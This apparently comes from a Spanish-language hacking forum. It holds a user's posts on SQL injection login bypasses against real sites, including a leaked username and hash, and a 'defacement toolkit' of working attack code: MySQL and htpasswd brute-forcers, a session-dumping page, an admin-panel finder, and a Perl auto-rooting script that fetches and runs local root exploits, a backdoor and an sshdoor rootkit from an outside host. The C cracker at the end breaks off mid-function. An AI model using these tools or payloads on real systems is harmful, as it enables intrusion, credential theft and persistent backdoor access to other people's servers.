Menu

Show posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.

Show posts Menu

Messages - _84kur10_

#1

De artificios y otros cuentos en  Sql inyeccion by _84kur10_


0x01 Sql Inyeccion


Primero que nada, pues conocer a que se le denomina inyeccion: es aquel codigo malicioso que es mezclado con una setencia sql normal, con el fin de alterar la intencion  normal de la setencia sql, y lograr un efecto diferente. dicho efecto pues simplemente consultar algun dato especial, o insertar algun dato especial, inyectar un archivo etc.

0x02 Introduccion

Para este articulo voy a suponer que quien lo lea tiene un concepto basico de lo que es inyeccion sql, y que al menos sabe inyectar en una situacion normal. Bueno la idea es contar alguna experiencias creando inyecciones sql, en diferentes contextos, y analizando dichas situaciones para verificar algunas posibles variantes.


Cierto dia, necesitaba entrar a un sitio web, ya que en ese servidor se encontraba una web objetivo, no necesariamente para defacear, simplemente objetivo. Bueno pues haciendo un reverse di con una web que tenia el tipico sql inyeccion, construi la inyeccion
resulto ser algo como :
+union+select+1,user,password,4,5,6,7,8,9,10+from+usuario+limit+5,1

bueno y me tiro un el user y el hash asi

edwinc:13dd3a9725dba7a9


hasta ahi, todo normal, lo malo era que no tenia un crackeador ni el dic a mano para crackear ese tipo de hash, asi que  fui al panel del administrador
ensaye un usuario slkdjfljdsf, y el resultado fue decia que el usuario no existia.

bien despues meti el usuario edwinc, y me decia que el pass no era el correcto, por lo cual, era muy probable que la consulta del logueo estubiera en sentencias sql diferentes, intente sin analizar el tipico ' or 1=1 --, pero no funciono, sinembargo me arrojo algunos errores de sql.

entre las cosas que vi en el error, se veia que la consulta que intentaban hacer internamente era:
select password('passdigitado') as cryptado

osea que posteriormente me supuse que el parametro crytado esta consultado, y comparado posiblemente con lo arrojado en la primera consulta que solo verificaba el usuarios. Como asi? pues bien meti una ' en el login para que me arrojara el error de la primera consulta y efectivamente hacian algo como

select * from usuarios where user ='usuariodigitado'

con lo que mi hipotesis, se volvio mas probable

asi que simplemente lo que debia hacer era colocar en el parametro crytado el valor del hash del usuario que puse en el logueo: asi que el bypass me vino quedando asi

login:        edwinc
password: aku'),'13dd3a9725dba7a9' as cryptado /*


tambien es importante aclarar el conocer cual comentario es el q realmente funciona para el bypass, para mi es parte fundamental, lo que yo regularmente hago para darme cuenta de esto es, primero meter un ' para verificar que tire error, despues probar '' para probar q podemos cerrar comillas, y despues probar

/* '
-- '
# '



sabremos q nos sirve, porq no tirara el error q salio cuando colocamos ' de esta manera sabremos cual comentario debemos tener en cuenta para bypassear.




y happy hacking  :D....


Tal vez esta idea. pueda aplicarse a tipos de autenticacion que usan 2 setencias sql para el logueo, y que tiene sql  inyeccion, y ademas damos con un pass poco comun. Aunque en este caso se trato sobre un cotexto muy especifico, tal vez existan simulitudes en otras aplicaciones.


0x03 El peligro de usar inadecuadamente like

Bueno pues esto sucedio con una aplicacion web, jsf + oracle se traba que durante el logueo se consultaba usando la funcion like , como muchos sabran like es usado para busquedas de palabras, pero no para comparaciones exactas, con lo cual sabemos que enviando un % se hara la consulta de forma general, basicamente es un comodin, por lo cual si una aplicacion realiza autenticaciones de tipo:


<?php
$query
="select * from usuarios where login like('".$_POST['login']."') and password like('".$_GET['password'].'"");

//si la consulta viene  llena pasa
?>



podremos bypassearla simplemente enviando % tanto en el login como en el password, o si necesita de un usuario valido seria cuestion de tener el usuario valido y mandar de password %.

por otro lado, si necesitamos conocer los datos de autenticacion correectos, y el logueo no tiene en cuenta el numero de intentos, podemos realizar busqdas generalizadas para dar con los datos

preguntamos asi:

hay un login q contenga la letra a?

login: %a%
password:%


si si, pasa, si no, no loguea

hay un login q contenga  ac?
login: %ac%
password:%


hay un login q contenga la letra ad?

login: %ad%
password:%

y asi... se podria codear una exploit para que aproveche ese bug y encuentre los datos correctos, dado el caso de que necesitemos los datos correctos para probar quizas en el ftp o en el email.


Otro Bypass.


Bueno, el otro dia me encontre con otro sistema que tambien tenia un login bypasseable. cuando usaba ' en el login me tiraba un error, cuando metia ' en el password y el login lo dejaba normal, pues no tiraba error, asi que uno supone que el login esta dentro de la sentencia sql pero el password no. Por tanto supuse que hacian un especie de


$result=query(select id, name, password from usuarios where login='$login')

if ($password=$result[3])



una vez me imagine eso el bypass me quedo

login:logininexistebte' union select 1,2,3 3 #

y probe con password 1 con 2 y 3, y pues en este caso obviamente era el 3.

es importante que el logininexistente realmente no exista en la tabala usuarios para que la consulta
nos devuelta el resulta del segundo select.


weno y por ultimo dejo un tema a nivel de informativo

0x04 Stacked Query Advance (Informacion)

EL otro dia estube leyendo algunos documentos que me encontre sobre inyeccion sql, asi que decidi pues simpleme redactar a mi estilo la informacion que ido leyendo, ademas de que ya estaba cansado de ver la repeticion de siempre los mismos estilos de tutoriales sobre inyeccion sql (no digo que esten mal), para nada , de hecho debo decir que he visto varios tutoriales de sql inyeccion muy buenos, y pues gracias a los tutos es que tambien he aprendido un poco de esta tecnica, he leido algunos documentos de la ultima conferencia de blackhat, que por cierto son muy buenas, se las recomiendo, se ven cosas muy interesantes.

0x05 ?Que es Stacked Query?

Se le denomina Stacked Query a aquel hilo de conexion a la Base de Datos que permite ejecutar mas de una setencia sql al tiempo, como algunos sabran el simbolo que determina donde inicia y donde empieza una setencia sql, sobre cualquier motor de base de datos es el ;, cuando logramos inyectar mas de una setencia sql al tiempo, es a lo que se de denomina Stacked Query.

Ejemplo:
select * from recaudo;drop table recaudo

En este ejemplo tenemos 2 setencias sql, segun lo que he leido cuando se intenta aplicar un query de este tipo sobre aplicaciones desarrolladas sobre php y mysql , este envia un mensaje de error, aunque el motor de base de datos como tal soporta esta setencia, para que una aplicacion soporte ataques basados en Stacked Query es necesario (Segun lo descubierto por algunos integrantes de BlackHat) es necesario tener habilitada la libreria MySQL UDF (User Define Function)


espero les agrade.
#2
Defacement / Re:toolkit Defacement
08 de January , 2010, 11:59:23 AM
Quote from: Binsh# on 07 de January , 2010, 02:19:30 PM
grande contribuição....  fora o adm finder... isso eu faço com meus metodos... e ele usa uma listinha mesmo... nada inovador nesse ponto... o resto é muito util..

no te entendi muy bien... pero igual el adminfinder cumple el objetivo de encontrar el admin panel, que el code sea corto no significa que no haga lo que necesitamos... podras verlo en accion en el video que dje
#3
gracias man :P. estare por ahi rondando ene l foro.
#4
pues algo de php, y de java.
#5
Defacement / toolkit Defacement
07 de January , 2010, 12:35:14 PM
Compilação de algumas ferramentas.
Eu tentei o meu melhor para colocar todo o autor ... mas alguns podem não ter PS ... ou estão dentro do código

en ingles pero se entiende...


Mini MySqlat0r

Mini MySqlat0r is a multi-platform application used to audit web sites in order to discover and exploit SQL injection vulnerabilities. It is written in Java and is used through a user-friendly GUI that contains three distinct modules.

The Crawler modules allows the user to view the web site structure and gather all tamperable parameters. These parameters are then sent to the Tester module that tests all parameters for SQL injection vulnerabilities. If any are found, they are then sent to the Exploiter module that can exploit the injections to gather data from the database.




Prerequisites
The Java runtime environment is necessary to use Mini MySqlat0r :


fuente y de aqui mismo la descargan

http://www.scrt.ch/pages_en/minimysqlator.html



Port Scaner    By _84kur10_ , JxE-13



<?php

define
(NAMEFILE,"ports.html");
if (
$argv[1]==NULL)
{
print 
"
###########     Port Scaner    By _84kur10_ , JxE-13  ##############
#                                                                  #
#        Escaner de puertos                                        #
#        Busca ports open                                  #
#==================================================================#
#  Usage: php Scan.php ip initport eofport                         #
#  M@ndrake Black Team, LatinoHackTeam, Ro0T-MaFia                 #
####################################################################\n\n"
;
die;
}
$init=(int)$argv[2];
$eof =(int)$argv[3];
$ip  =$argv[1];
function 
savePort($info)
{
$fp fopen(NAMEFILE,"ab+");
fwrite($fp,$info."<br>");
fclose($fp);
}
savePort("<br><h1>Resultado de escan para ".$ip."</h1><br>");
savePort("c0ded by _84kur10_, JxE-13 <br>");
print 
"Scaneando...\n";

for (
$i=$init;$i<=$eof;$i++){
$conect=fsockopen($ip$i,$errno$errstr30);
if(
false==$conect)
{
print  
"\nPuerto ".$i." No encontrado\n";
}
else
{
$info"\n\nPuerto ".$i." Fue encontrado Abierto\n";
savePort($info);
print 
$info;
}
}

?>



MySQL Brute Force - Code By JxE-13


<?
# MySQL Brute Force - Code By JxE-13 [ Ro0T-MaFia ]

print ("\n\nMySQL Brute Force - Code By JxE-13 [ Ro0T-MaFia ]\n\n");
print ("Usar MySQL Brute Force Flags\n\n");
printf ("Flags: \n\nHost, Opciones: 0- Brute con Array Default , 1- Brute Generando Aleatorio (Definir Tamaño)\n\n");
if  ($host = $argv[1]==NULL)
{
die;
}
$host = $argv[1];
$opcion = $argv[2];

switch ($opcion)
{
case 0:
$default= @array (`admin`,`webmaster`,`root`,`ODBC`);
$array_n= count($default);
for ($i=0;$i<=$array_n-1;$i++)
{
$conex= mysql_connect ($host,$default[$i],``);
sleep (5);
if ($conex=!mysql_error())
{
print ("\n\nMySQL Server Bruteado\n\nUser:Pass -> $default[$i]\n");
die;
}
}
break;
case 1:
$host = $argv[1];
$opcion = $argv[2];
$caracteres = $argv[3];

while ($conex==false)
{
for ($i=0;$i<=$caracteres;$i++)
{
$c_gene = substr(md5(rand()),0,$caracteres);
$conex= mysql_connect ($host,$c_gene,$c_gene);
sleep (5);
if ($conex=!mysql_error())
{
print ("\n\nMySQL Server Bruteado\n\nUser:Pass -> $c_gene\n");
die;
}
}
}
break;
}

?>


Over SQL InyeX - Code By JxE-13 [ Ro0T - MaFia ]




<?

# Over SQL InyeX - Code By JxE-13 [ Ro0T - MaFia ] - JxE-13@ingenieros.com

#-----
/*

 ::::::::  ::         ::  ::::::::  ::::::               :::::  ::::::::   :::
 ::    ::   ::      ::    :::       :::   :              :::    ::   :::   :::
 ::    ::    ::    ::     ::::::::  :::   :    :::::::   :::::  ::    ::   :::
 ::    ::     :: ::       :::       :: :::                 :::  ::    ::   :::    
 ::::::::       ::        ::::::::  ::: ::::             :::::  :::::::::: :::::::::
 
*/
#-----

class SQl_JxE
{
var $par_get; var $nombre ;

function Parametro_Get ($par_get,$error)
{
#-----
$par_sql= `<? $strin_sql=$_GET[`."`"."$par_get"."`".`]; if (ereg("[^A-Za-z0-9]+",$_REQUEST[`."`"."$par_get"."`".`])) { die ("`."<center><b>$error".`"); } ?>`;  
$nombre= "OverSql.php";
$archivo = fopen ($nombre,`w+`) or die ("<b>Error al Crear");
fwrite ($archivo,$par_sql);
fclose ($archivo);
print ("\nProcesando Los Parametros...");
sleep (5);
print ("\n\nParche Creado -> $nombre");
print ("\n\nTerminado: Incluir -> <? include (`$nombre`); ?> \n\n");

#-----

$this-> Parametro = $par_get;
$this-> Error = $error;
$par_pget=$_GET [$this-> Parametro];
if (ereg("[^A-Za-z0-9]+",$_REQUEST[$this-> Parametro]))
{
die ($this-> Error);
}
}
}

if  ($argv[1]==NULL)
{
die ("\n\nOver SQL InyeX - Code By JxE-13 [ Ro0T - MaFia ]\n\nUsar -> Over SQL InyeX [1]- Parametro Vulnerable [2]- Mensaje de Error \n\n");
}
$Crear = new SQl_JxE;
$Crear ->Parametro_Get ($argv[1],$argv[2]);

?>


Crackeador HTPASSWD 0.1 by Xianur0

  • Ataque de diccionario
  • BruteForce Numerico
  • BruteForce Solo Letras
  • Probar Toda la Tabla Ascii
  • Rango Definido por Usuario


<html>
<head><title>Crackeador HTPASSWD 0.1 by Xianur0</title></head>
<body>
<center><h1>Crackeador HTPASSWD 0.1 by Xianur0<h1></center>
<script type="text/Javascript">function mostrar (postid) { whichpost = document.getElementById(postid);whichpost.className="postshown"; }
function ocultar (postid) { whichpost = document.getElementById(postid);whichpost.className="posthidden"; }
</script><style>.posthidden {display:none} .postshown {display:inline}</style>
<form>
<b>Hash: <input type="text" name="hash"><br>
<span class="posthidden" id="1">Largo Passwords: <input type="text" name="largo"><br></span>
<INPUT ONCLICK="javascript:ocultar(1);" TYPE="RADIO" NAME="tipo" VALUE="1">Ataque de diccionario<BR>
<INPUT ONCLICK="javascript:mostrar(1)" TYPE="RADIO" NAME="tipo" VALUE="2">BruteForce Numerico<BR>
<INPUT ONCLICK="javascript:mostrar(1)" TYPE="RADIO" NAME="tipo" VALUE="3">BruteForce Solo Letras<BR>
<INPUT ONCLICK="javascript:mostrar(1)" TYPE="RADIO" NAME="tipo" VALUE="4">Probar Toda la Tabla Ascii :D<BR>
<INPUT ONCLICK="javascript:mostrar(2); javascript:mostrar(1)" TYPE="RADIO" NAME="tipo" VALUE="5">Rango Definido por Usuario<BR>
<span class="posthidden" id="2">Rango de Caracteres: <input type="text" name="rango" value=`A-z`><br></span>
<input type="submit" value="Crack!">
</form>
<?php
if(isset($_GET[`hash`])) {
set_time_limit(0);
define("hash"$_GET[`hash`]);
define("salt"$_GET[`hash`]{0}.$_GET[`hash`]{1});
define("largo"$_GET[`largo`]);
function 
comprobar($password) {
if(
crypt($passwordsalt) == hash) {die("<br>Password Encontrada: $password");}
}

function 
diccionario() {
$archivo file("db.txt");
foreach(
$archivo as $n=>$pass) {
$pass chop($pass);
print 
comprobar($passsalt);
}
}

function 
generar($inicio$fin) {
$inicio ord($inicio);
$fin ord($fin);
while(
$run != "kill") {
for(
$i=0$i<largo$i++) {
$pass .= chr(rand($inicio$fin));
}
comprobar($pass);
$pass = ``;
}
}

switch (
$_GET[`tipo`]) {
case 
1:
    
diccionario();
    break;
case 
2:
    
generar(09);
    break;
case 
3:
    
generar("A""z");
    break;
case 
4:
    
generar(" ""~");
    break;
case 
5:
    list(
$inicial$final) = explode("-"$_GET[`rango`]);
    
generar($inicial$final);
    break;
}
}
?>

</body>
</html>


solo se le tiene que cambiar el cripto sistema (en vez de la función crypt usar md5, etc...).


Session Master By Xianur0


<html><title>Session Master By Xianur0</title><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center>
<h1>Session Master By Xianur0</h1><br><img alt height="100" src="http://img59.imageshack.us/img59/9729/xianur0oq5.gif" width="100"><br><br><script type="text/Javascript">function expandcollapse (postid) { whichpost = document.getElementById(postid);if (whichpost.className=="postshown") { whichpost.className="posthidden"; } else { whichpost.className="postshown"; } }</script><style>.posthidden {display:none} .postshown {display:inline}</style>


<?php
@session_start();
function 
buscar() {
$tmp = @session_save_path();
print 
"<b>Directory of sessions: $tmp\n</b><br>";
$dir = @opendir($tmp);
while (
$session = @readdir($dir))
{
if(
eregi("sess_",$session)) {
$gestor = @fopen("$tmp/$session""r");
$contenido = @fread($gestorfilesize("$tmp/$session"));
$contenido = @eregi_replace(`;`, ";\n<br><br>Session: "$contenido);
fclose($gestor);
echo 
"<br>".$session."<br>\n";
$i++;
echo `
<a href="javascript:expandcollapse(`.$i.`)">Show/Hide Code</a><br><span class="posthidden" id="`.$i.`">
<br/><table height=1 cellSpacing=0 cellPadding=5 width="100%" bgColor=#FF0000 borderColor=#FF0000 border=1><tr><th>Session: 
`.$contenido.`</th></tr></table></span><br>`;
}
}}
function 
definir() {
$name $_POST[`name`];
$contenido $_POST[`valor`];
$_SESSION[$name] = $contenido;
}

function 
definidos() {
foreach (
$_SESSION as $name => $valor)
{
print 
"<b>Name:</b> $name\n<br><b>Value:</b> $valor\n<br><br>";
}
}

function 
menu() {
$uri $_SERVER[`REQUEST_URI`];
print 
"<h2>Define SESSION</h2><br><form action=`".$uri."?&action=definir` method=`POST`>Name: <input type=`text` name=`name`><br>Value: <input type=`text` name=`valor`><br><input type=`submit` value=`Set!`></form><h2>Information:</h2><b><a href=`$uri?&action=definidos`>Defined Sessions</a><br><a href=`$uri?&action=buscar`>Sessions On The Server</a><b>";
}

$action $_GET[`action`];


switch (
$action) {
    case 
buscar:
        
buscar();
        break;
    case 
definir:
        
definir();
        break;
    case 
definidos:
        
definidos();
        break;
    default:
        
menu();
        break;
}

?>


Installing rootkit after Rooting


#!/usr/bin/perl -w
#
#
#            program info :
#
#                This Program Is Private
#                Code : perl
#
#
#            Description :
#
#                This Program Can  :
#
#                1:Rooting
#                2:Install Backdoor
#                3:Install Rootkit , After Rooting
#----------------------------------------------------------------------------------+|
print "Enter Password :";
$dl =log <STDIN>;
if ($dl =~ /8.90340751993226/){
print "\t\t[+]--->Viper Auto Rooting<---[+]\n";
print "\t\t[+]-->Coded By Bl4ck.viper<--[+]\n";
print "\t\t[+]--->For My Best Friend<---[+]\n";
   print "[+]Menu :\n";
   print "\t[-]1:Rooting\n";
   print "\t[-]2:install backdoor\n";
   print "\t[-]3:install rootkit , after rooting\n";
   print "\n";
print "Please Select 1,2,3 ? :";
   $userselect = <STDIN>;
 
   if ($userselect==1){&rooting}
 
   if ($userselect==2){&backdoor}
 
   if ($userselect==3){&rootkit}
 
sub rooting
{
print "\t\t[:]Welcome To Rooting Section\n";

   print "Please Insert Localroot Directore [e:g http://www.example.com/localroots]:";
$userdir = <STDIN>;
   print "Please Insert Localroot Name In $userdir Directore [e:g /h00lyshit]:";
$userlocalroot = <STDIN>;
$userdl = $userdir.$userlocalroot;
   print " Your Address Is $userdl ? => y/n :";
       $useraddress = <STDIN>;
       if ($useraddress =~ /y/) {
   print " \tLets Go ...\n";
   if (-x "/usr/bin/wget"){
system ("cd /tmp;mkdir bl4ck.viper;chmod 777 bl4ck.viper;cd bl4ck.viper;wget $userdl;chmod 777 $userlocalroot;./$userlocalroot");
   print "Done!";
system ("id");
}
   else {
   print "Cannot Download Your Local Root With Wget Method !
                     
                       We Are Gonna Use Curl Method ;) \n
       ";
       }
       if (-x "/usr/bin/curl") {
system ("cd /tmp;mkdir bl4ck.viper;chmod 777 bl4ck.viper;cd bl4ck.viper;curl -o userdl;chmod 777 $userlocalroot;./$userlocalroot");
       print "Done!";
system ("id");
       }
       else {
           print "Cannot Download Your Local Root With Curl Method
         
                       We Are Gonna lwp-download Method ;)
       ";
       }
       if (-x "/usr/bin/lwp-download"){
system ("cd /tmp;mkdir bl4ck.viper;chmod 777 bl4ck.viper;cd bl4ck.viper;lwp-download -a userdl;chmod 777 $userlocalroot;./$userlocalroot");
       print "Done!";
system("id");
       }
       else {
           print "Cannot Download Your Local Root With Any Of Method ! :(";
           exit();
       }
       }
 
     
       else {
           if ($useraddress =~ /n/) {
               print "\t\tPlease Repair Address And Try Again ;)"
           }
       }
}

sub backdoor
{
print "\t\t[:]Welcome To Backdoor Section\n";
   print "Are You Ready To Start Install Backdoor ? y/n:";
   $userbss =<STDIN>;
   if ($userbss =~ /y/){
 
   print "\tTest Wget Method ...\n\n";
   if (-x "/usr/bin/wget") {
system ("cd /tmp;mkdir bl4ck.viper-2;chmod 777 bl4ck.viper-2;cd bl4ck.viper-2;wget http://bl4ck-viper.persiangig.com/Toolz/backdoor;chmod 777 backdoor;./backdoor");
   print "Done!";
   print "Can You Cannect To Server With NC At 8000 Port.Port Password Is =hacked";
   }
   else{
       print "Cannot Download Backdoor With Wget Method!
     
                   We Are Gonna Use Curl Method ;)\n";
   }
   if (-x "/usr/bin/curl"){
system ("cd /tmp;mkdir bl4ck.viper-2;chmod 777 bl4ck.viper-2;cd bl4ck.viper-2;curl -o http://bl4ck-viper.persiangig.com/Toolz/backdoor;chmod 777 backdoor;./backdoor");
   print "done!";
   print "Can You Cannect To Server With NC At 8000 Port.Port Password Is ->hacked";
   }
   else {
       print "Cannot Download Backdoor With Curl Method!
     
                   We Are Gonna Use lwp-download Method ;)\n";
   }
   if (-x "/usr/bin/lwp-download"){
system ("cd /tmp;mkdir bl4ck.viper-2;chmod 777 bl4ck.viper-2;cd bl4ck.viper-2;lwp-download -a http://bl4ck-viper.persiangig.com/Toolz/backdoor;chmod 777 backdoor;./backdoor");
   print "Done!";
   print "Can You Cannect To Server With NC At 8000 Port.Port Password Is =hacked";
   }
   else{
       print "Cannot Download Backdoot Whit Any Method :(\n";
   }
   }
   if ($userbss =~ /n/){
       print "OK !";
       exit();
   }
}
sub rootkit
{
print "\t\t[:]Welcome To Rootkit Section\n";
print "Are You Root NOW ? y/n:";
$sr =<STDIN>;
   if($sr =~ /y/){
       print "Please Insert Password For Rootkit:";
       $rp =<STDIN>;
       print "Please Insert Port For Rootkit:";
       $rpo =<STDIN>;
       if(-x "/usr/bin/wget"){
           system ("cd /tmp;wget http://bl4ck-viper.persiangig.com/Toolz/rootkit.tar.gz;chmod 777 rootkit.tar.gz;tar.gz -zxvfw rootkit.tar.gz;cd sshdoor;./install $rp $rpo");
           print "Done!\n";
           print "You Can Connect To Server ;)\n";
       }
       else{
           print "\tCannot Install Rootkit ! Please Check Access Next Install Rootkit\n";
       }
     
   }
   if ($sr =~ /n/){
       print "First Rooting Next Install Rottkit\n";
   }

 
}
}
else {
   print "Password Is Incorrect!"
}





Admin Finder      By _84kur10_



<?php

echo 
"
###########     Admin Finder      By _84kur10_- ############
#                                                          #
#        Buscador de admin logins                          #
#        Automatiza la busqueda de logueos                 #
#                                                          #
#                                                          #
#==========================================================#
#  Usage: php loginFinder.php http://www.website.com       #
#                                                          #
############################################################\n\n"
;
function loadData()
{
$fp "admin.txt";
$strs=file($fp);
return $strs;
}
$admins=loadData();

  foreach($admins as $index => $test)
{

$url=$argv[1].`/`.trim($test);
 if($result=@file_get_contents($url))
 echo "posible logueo encontrado ".$argv[1].`/`.$test;
}



?>




admin.txt

admin1.php
admin1.html
admin2.php
admin2.html
admin.php
yonetim.php
yonetim.html
yonetici.php
yonetici.html
adm/
admin/
admin/account.php
admin/account.html
admin/index.php
admin/index.html
admin/login.php
admin/login.html
admin/home.php
admin/controlpanel.html
admin/controlpanel.php
admin.php
admin.html
admin/cp.php
admin/cp.html
cp.php
cp.html
administrator/
administrator/index.html
administrator/index.php
administrator/login.html
administrator/login.php
administrator/account.html
administrator/account.php
administrator.php
administrator.html
login.php
login.html
modelsearch/login.php
moderator.php
moderator.html
moderator/login.php
moderator/login.html
moderator/admin.php
moderator/admin.html
moderator/
account.php
account.html
controlpanel/
controlpanel.php
controlpanel.html
admincontrol.php
admincontrol.html
adminpanel.php
adminpanel.html
admin1.asp
admin2.asp
yonetim.asp
yonetici.asp
admin/account.asp
admin/index.asp
admin/login.asp
admin/home.asp
admin/controlpanel.asp
admin.asp
admin/cp.asp
cp.asp
administrator/index.asp
administrator/login.asp
administrator/account.asp
administrator.asp
login.asp
modelsearch/login.asp
moderator.asp
moderator/login.asp
moderator/admin.asp
account.asp
controlpanel.asp
admincontrol.asp
adminpanel.asp
fileadmin/
fileadmin.php
fileadmin.asp
fileadmin.html
administration/
administration.php
administration.html
sysadmin.php
sysadmin.html
phpmyadmin/
myadmin/
sysadmin.asp
sysadmin/
ur-admin.asp
ur-admin.php
ur-admin.html
ur-admin/
Server.php
Server.html
Server.asp
Server/
wp-admin/
administr8.php
administr8.html
administr8/
administr8.asp
webadmin/
webadmin.php
webadmin.asp
webadmin.html
administratie/
admins/
admins.php
admins.asp
admins.html
administrivia/
Database_Administration/
WebAdmin/
useradmin/
sysadmins/
admin1/
system-administration/
administrators/
pgadmin/
directadmin/
staradmin/
ServerAdministrator/
SysAdmin/
administer/
LiveUser_Admin/
sys-admin/
typo3/
panel/
cpanel/
cPanel/
cpanel_file/
platz_login/
rcLogin/
blogindex/
formslogin/
autologin/
support_login/
meta_login/
manuallogin/
simpleLogin/
loginflat/
utility_login/
showlogin/
memlogin/
members/
login-redirect/
sub-login/
wp-login/
login1/
dir-login/
login_db/
xlogin/
smblogin/
customer_login/
UserLogin/
login-us/
acct_login/
admin_area/
bigadmin/
project-admins/
phppgadmin/
pureadmin/
sql-admin/
radmind/
openvpnadmin/
wizmysqladmin/
vadmind/
ezsqliteadmin/
hpwebjetadmin/
newsadmin/
adminpro/
Lotus_Domino_Admin/
bbadmin/
vmailadmin/
Indy_admin/
ccp14admin/
irc-macadmin/
banneradmin/
sshadmin/
phpldapadmin/
macadmin/
administratoraccounts/
admin4_account/
admin4_colon/
radmind-1/
Super-Admin/
AdminTools/
cmsadmin/
SysAdmin2/
globes_admin/
cadmins/
phpSQLiteAdmin/
navSiteAdmin/
server_admin_small/
logo_sysadmin/
server/
database_administration/
power_user/
system_administration/
ss_vms_admin_sm/



Reverse DNS By OzX


<?
//Coded By OzX
//Comunidad Undersecurity.net
#ULTRA MEGA PRIV8 HAX0R MASS HYPER MEGA DELUXE PLUSS CON PUNTOS MASS HAX0R¡¡¡ TOOOLLLL¡¡¡¡ $$$$$$$$
function usage(){
echo "MODO DE USO: > php script.php <host> \n";
echo "php script.php www.google.com\n\n";
exit();
}
function GET($host) {
$cookie = "";
$curl = curl_init();
$header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
$header[] = "Cache-Control: max-age=0";
$header[] = "Connection: keep-alive";
$header[] = "Keep-Alive: 300";
$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
$header[] = "Accept-Language: en-us,en;q=0.5";
$header[] = "Pragma: ";
curl_setopt($curl, CURLOPT_URL, "http://onsamehost.com/query.jsp?host=".$host);
curl_setopt($curl, CURLOPT_USERAGENT, `Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4`);
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
curl_setopt($curl, CURLOPT_REFERER, `http://onsamehost.com/`);
curl_setopt($curl, CURLOPT_ENCODING, `gzip,deflate`);
curl_setopt($curl, CURLOPT_AUTOREFERER, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie);
$html = curl_exec($curl);
curl_close($curl);
return $html;
}

function http($host){
$var = parse_url($host);
if (in_array("http", $var)){
$host = $var[host];
}else{
$host = $var[path];
}
return $host;
}

function valida($host){
echo "[+] HOST : > ".$host."\n";
$ip = gethostbyname($host);
echo  ((ip2long($ip)) === false) ? usage() : "[~] IP Valida \n";
echo "[+] IP :> ".$ip."\n";
return TRUE;
}

function reverse($host){
preg_match_all("/<li>(.*?)<b>\[.*\]<\/b><\/li>/", GET($host), $datos,  PREG_SET_ORDER); //**
$total = count($datos);
if ($total != 0 ){
echo "REVERSE DNS :> ".$total."\n";
for ($x=0;$x<count($datos);$x++){
$data[] = $datos[$x][1]."\r\n";
echo "HOST : > ".$data[$x];
}
echo "[+] HOST Guardados en :> ".$host.".txt\n";
file_put_contents($host.".txt", $data);
}else{
echo "Sin Registros Intente Nuevamente \r\n";
}
}


$host = $argv[1];

echo "[*]Reverse Dns 0.2 By OzX\n";
echo "[*]Foro.Undersecurity.net \n\n";

if (count($argv) == 2 ){
if (valida(http($host)) != FALSE){
reverse($host);
}
}else{
usage();
}

?>


CRACKER  BY D4NB4R


#include <stdio.h>
/* CRACKER  BY D4NB4R
  Pandora`s Box TEAM
d4nb4r[at]hotmail[dot]*/
#define D4NB4R 0x7fffffffL
#define MENOR_VARCH 50
#define MAYOR_VARCH 200
#define MAXIMO_PASS 50

typedef unsigned long var64;
int funcion(int var, var64 var1, var64 var2, int *pross)
{
 int aux,aux1;
 var64 t1, t2, t3, t4, d, d1, d2, d3, d4, x, x1, x2, x3;
 var64 f1[MAXIMO_PASS-2],f2[MAXIMO_PASS-2],f3[MAXIMO_PASS-3],f4[MAXIMO_PASS-3];

 aux=-1;t3=7;f1[0]=1345345333L;f2[0]=0x12345671L;  

 while (1) {
   while (aux < var) {
     aux++;
     pross[aux] = MENOR_VARCH;
     f4[aux]=(f1[aux]&0x3f)+t3;
     f3[aux]=f4[aux]*MENOR_VARCH+(f1[aux] << 8);
     t3+= MENOR_VARCH;f1[aux+1]=f1[aux]^f3[aux];      
     f2[aux+1]=f2[aux]+((f2[aux]<< 8)^f1[aux+1]);}  
     
   d4=f1[aux+1];x=f2[aux+1];    
   t4=(d4& 0x3f)+t3;d2=t4*MENOR_VARCH+(d4<< 8);d3=(x<< 8)^d4;    

   for (aux1=MENOR_VARCH;aux1<=MAYOR_VARCH;aux1++,d2+=t4) {
     x2=x+(d2^d3);x1=d4^d2;x3=(var2 -x2)^(x2<< 8);      
     d1=(x1&0x3f)+t3+aux1;d=((x3^x1)-(x1<< 8))&D4NB4R;      
     if (d%d1!= 0) continue;t1=d/d1;      
     if (t1< MENOR_VARCH ||t1> MAYOR_VARCH) continue;

     d1= (x3&0x3f)+t3+aux1+t1;
     d= ((var1^x3)-(x3<< 8))&D4NB4R;
     if (d%d1!= 0) continue;t2=d/d1;
     
     if (t2<MENOR_VARCH||t2>MAYOR_VARCH) continue;
     pross[aux+1]=aux1;pross[aux+2] =t1;pross[aux+3] =t2;  
     
     return 1;}  

   while(aux>=0&&pross[aux]>=MAYOR_VARCH) {
     t3-= MAYOR_VARCH;
     aux--;}
   
   if (aux<0) break;
   pross[aux]++;f3[aux]+=f4[aux];    
   t3++;
   f1[aux+1]=f1[aux]^f3[aux];
   f2[aux+1]=f2[aux]+((f2[aux]<<8)^f1[aux+1]);}  

 return 0;}

void d4nb4r(char *password){
 int cont,cont1,pass[MAXIMO_PASS];
 var64 t1,t2,t3;  

 if(sscanf(password,"%8lx%lx",&t1,&t2)!=2){
   printf("Hash Incorrecto: %s\n",password);
   return;
 }
 printf("Hash: %08lx%08lx\n",t1,t2);
 t3=t2-t1; t3=t2-((t3<<8)^t1);
 t3=t2-((t3<<8)^t1);t3=t2-((t3<<8)^t1);  

 for(cont1=3;cont1<=MAXIMO_PASS;cont1++) {
   printf("Eatapa.....  %d\n",cont1);
   if(funcion(cont1-4,t1,t3,pass) ) {
     printf("Encontrado : ");
     for(cont=0;cont<cont1;cont++)
     putchar(pass[cont]);
     printf("\n");
     break;}
 }  

 if (cont1>MAXIMO_PASS)
   printf("Password No Encontrado\n");}

int main(int argc, char *argv[])
{
int cont;
